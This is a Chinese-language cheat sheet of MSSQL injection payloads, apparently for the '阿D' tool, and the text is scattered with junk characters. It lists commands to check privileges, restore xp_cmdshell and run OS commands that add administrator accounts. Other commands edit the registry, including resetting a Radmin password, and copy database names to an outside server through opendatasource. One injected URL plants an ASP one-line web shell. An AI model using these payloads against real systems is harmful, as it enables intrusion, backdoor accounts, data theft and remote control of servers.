阿D常用的一些注入命令# D0 N `% o( n0 y
//看看是什么权限的: j7 r1 l) X8 u+ K* ]3 E
and 1=(Select IS_MEMBER('db_owner')): V, {5 H1 U: X3 g& b/ I
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--8 j6 k- c. T+ S
3 K8 Z* b, a) e
//检测是否有读取某数据库的权限
; P3 X, k) p, `& C$ E6 ?8 u4 jand 1= (Select HAS_DBACCESS('master'))
4 \9 k- t; G' EAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
/ S& b: o( \- y- C) q! p0 a( r$ ^3 ]- m4 f& x4 s$ Y4 q+ V
" M1 a, a# J4 c0 k, F+ O6 W( F
数字类型
- _1 i/ e$ c gand char(124)%2Buser%2Bchar(124)=00 y! A/ |! e) @4 Z
1 M3 x7 m& y( C/ h& m# D0 z字符类型
) y1 }/ ~( C+ S) O' and char(124)%2Buser%2Bchar(124)=0 and ''='
1 X) B/ a1 i5 o0 T2 A
0 u- {. S% j& _0 `4 a; R搜索类型, t; b: o( i V& j3 ~% G9 u/ ?1 U# F
' and char(124)%2Buser%2Bchar(124)=0 and '%'=': F/ |& N5 Q5 X9 \
6 V% g: S2 q: v( V爆用户名
) [; z) U1 z3 t+ K8 ^; Sand user>0
# Y1 \7 f2 B0 D0 l4 h, i' and user>0 and ''='* v. C- _% R; ]! [8 \4 Q+ ~5 O( J
/ Z6 _4 s5 q0 H+ B- p I- k
检测是否为SA权限
7 r; }( j( V; S; iand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ k, M" {4 D/ o3 {! EAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --: A0 t* N/ U) E( S1 C7 ~
# Y2 g! V% m* i/ n
检测是不是MSSQL数据库
+ d5 ^9 L) \/ c$ e }! [5 wand exists (select * from sysobjects);-- ! A: J9 N6 Q, b' M/ E+ q
) \" M4 F& y4 N0 Y" I5 q
检测是否支持多行
8 t0 M8 R: f$ m! l0 @;declare @d int;-- 1 Q% K4 k5 Q" w& g! J
8 I$ X9 M1 Z4 [1 p! Q& \& f恢复 xp_cmdshell. T+ {* ?0 N: f9 e
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--6 X* t; m' D; q, }
# N5 z: M/ F, V& v9 k! E; q2 z
' Q7 F9 z9 V' J( a2 r0 [( A$ fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
0 ?$ b5 Y; F6 D( b/ w$ S2 X
+ w& ^" M1 D9 l) `/ B, s( b//-----------------------
' w! }3 r# r( E# U M! C// 执行命令
, j: `; B9 P& g//-----------------------. o% {1 q1 i$ [+ R; F
首先开启沙盘模式:
9 b' ^$ {- Z9 q/ hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% x, S6 S- T+ f
* X9 D4 }! u( `4 Q7 R2 I* ?4 g* Y2 ^
然后利用jet.oledb执行系统命令
: D# Y, s `. l$ y0 p1 U7 O, q$ Kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: l* I# f0 A0 B5 T( `5 e1 o
/ w, Y1 P9 v/ k执行命令
& G' Z# d }" C0 L' d9 k r;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--# d- Z6 R2 F1 y: T4 \: c
8 [ d V7 c7 G2 M
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; g! Q/ Q6 k- f! F9 B- p
! ~6 f0 k3 K7 G& I判断xp_cmdshell扩展存储过程是否存在:
. ], V4 I4 l! v9 W3 {( ghttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
! L( F) l3 d4 F d6 ~; E' x) h) v* ~' i/ F7 j' A9 u
写注册表
7 i; C! X) D& t/ h$ M2 D0 zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
. \) ]4 a7 X& e5 b. S
3 f1 G+ g, V4 C3 }& o8 p5 uREG_SZ7 q0 S; ?5 O6 Y/ w
* i, v6 p4 f. e9 J/ r
读注册表
/ m# L$ e3 @3 A' C6 M/ v& dexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit': g' h+ a, h4 h i
% ]) Q* O, L+ p. j3 v2 h
读取目录内容
8 Z1 _% l) i# [! f- iexec master..xp_dirtree 'c:\winnt\system32\',1,1$ C$ B+ q' J+ T, F' y
; \7 X; K8 G7 m: q
9 w+ z2 P @- B. t5 ^, |7 W, H数据库备份8 F- d6 |9 U6 u3 O/ z
backup database pubs to disk = 'c:\123.bak'
6 w5 t5 J) k$ ?0 [1 m9 ?: J( ]: u2 [6 g; R' ?, ]9 {
//爆出长度( t) S/ Z! o2 x$ h1 Y4 ^) J: T
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
3 V8 i- w+ H7 o0 ~7 L: ?% K. u+ d$ k/ v+ ?* s
3 \1 M' U) A$ K& j6 N* k) h3 J: o$ E. Z( F7 _ i% p8 D. b
更改sa口令方法:用sql综合利用工具连接后,执行命令:
( c- C6 a* N& j6 pexec sp_password NULL,'新密码','sa'
' ]4 ]2 X5 ~/ K0 ^ R* N2 y, g# g9 H/ t% X* T7 a! H. K& x @
添加和删除一个SA权限的用户test:
* [! Z, v9 @, e$ N" b9 v9 B1 Cexec master.dbo.sp_addlogin test,ptlove
9 }4 D6 S5 ?# d% b+ `) o( Gexec master.dbo.sp_addsrvrolemember test,sysadmin9 g0 {7 E. ^8 d, w+ s2 S+ ~, d$ G
# N% G9 w7 `- x, L' T- w4 H6 H删除扩展存储过过程xp_cmdshell的语句: 5 w" b! u8 d2 {7 u7 K8 |$ E
exec sp_dropextendedproc 'xp_cmdshell'
' S/ q; G! G# |6 ^$ C) w3 c) U& u1 V6 ]7 j1 U
添加扩展存储过过程3 E6 q% L L0 e) b9 i
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ( v; c3 M( E/ O
GRANT exec On xp_proxiedadata TO public + g- e& S7 F7 a, \" _/ ]- v h
8 p, |+ l& l( i; X
5 ~7 [+ N: v! ^* f5 h: \
停掉或激活某个服务。 - w, R4 j* k! \, \3 q
5 B) O( {& v) d4 aexec master..xp_servicecontrol 'stop','schedule'
# J* |: h" L% d- D9 Bexec master..xp_servicecontrol 'start','schedule'5 ~# P6 }( J& J$ H0 D* r! r
9 L; a$ w$ q Z' _; b! t4 [
dbo.xp_subdirs' K2 V7 h5 z% `# X- g# D1 u
. e( l* x' G* l9 Y
只列某个目录下的子目录。
/ P) h9 ~0 |- ~3 N) j& [* Hxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'5 U( g8 p* G( ~
l; D4 o6 [' E1 j; X" Mdbo.xp_makecab1 r! V. }3 r v. l) r
: V: c$ ^8 c& e
将目标多个档案压缩到某个目标档案之内。6 H- s- h! \' y* }- m' r! Q
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
2 J: a; v, v ~1 F# G) ^( O9 i0 \ N! f' A5 Q, d+ d4 {# m
dbo.xp_makecab/ t" w# U* W% V" ^2 G ~( T- O
'c:\test.cab','mszip',1,* d- o! C+ w( p: S+ r9 r
'C:\Inetpub\wwwroot\SQLInject\login.asp',+ ?4 [2 I$ r( v8 t' r* r8 G7 R9 {
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'' E5 E$ d. \/ \6 `
/ c5 E" ?( I- j, ]! Y) Axp_terminate_process% R, [5 W' z# d. A. C/ N2 ^
6 C" f" B) k" P% c/ U" `9 [停掉某个执行中的程序,但赋予的参数是 Process ID。5 R5 k- ^1 ~" j
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
% }" v0 Q2 I* } [. S0 \/ H) f$ H5 _
R k. V) `; ^2 ^xp_terminate_process 2484: H5 }% J* H9 p: s
! P2 k, j4 t& A9 z/ Xxp_unpackcab
) {3 Z! {7 ?7 ?' k: q3 G* \; |7 h4 F3 ]$ E; r2 v7 c3 J
解开压缩档。
* y# Y [/ a3 \; c' C6 S3 k3 L A. {
xp_unpackcab 'c:\test.cab','c:\temp',1
( {7 L4 _2 ~- X7 H5 h- q% p2 }- g/ F
8 e6 n; g4 \; u) |0 j某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
- ~1 \4 s! G& p6 K- q" t$ Q( ~1 m4 Q; c; d5 o) w5 y& z6 @
create database lcx;
7 }5 H: Y/ ?8 m; W- \Create TABLE ku(name nvarchar(256) null);% O* |, F) l) k( I7 F* b
Create TABLE biao(id int NULL,name nvarchar(256) null);
% Q/ }. L1 m/ h+ m5 e6 C; j
8 X% x8 `4 N8 J( ^//得到数据库名( g6 c" {& f! H( O, k2 ~: t% L" ~
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
1 R4 u8 F% p: f Z) o4 m. w4 n
\4 K2 H, g5 U _7 \7 R" {8 P* t2 m
//在Master中创建表,看看权限怎样7 T i1 Y' Y. Q# `6 I* ]8 F6 ?
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--, W) H( q% {* Y% c @; q3 J- d! D3 O
) v! @9 u' _. U
用 sp_makewebtask直接在web目录里写入一句话马:0 G$ \- u# o w8 X
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--1 }7 P& Z; y$ @2 m! a# I* K
* A1 [6 g! J9 O+ b! a
//更新表内容
( P. ]# l m( o* J$ m1 }/ TUpdate films SET kind = 'Dramatic' Where id = 123
2 x/ _! `+ P8 K% U+ f5 v4 r/ k, [* U1 u* \' _8 E) l
//删除内容
5 B5 \/ W3 o5 o( U' ^" u! V/ H2 xdelete from table_name where Stockid = 3 |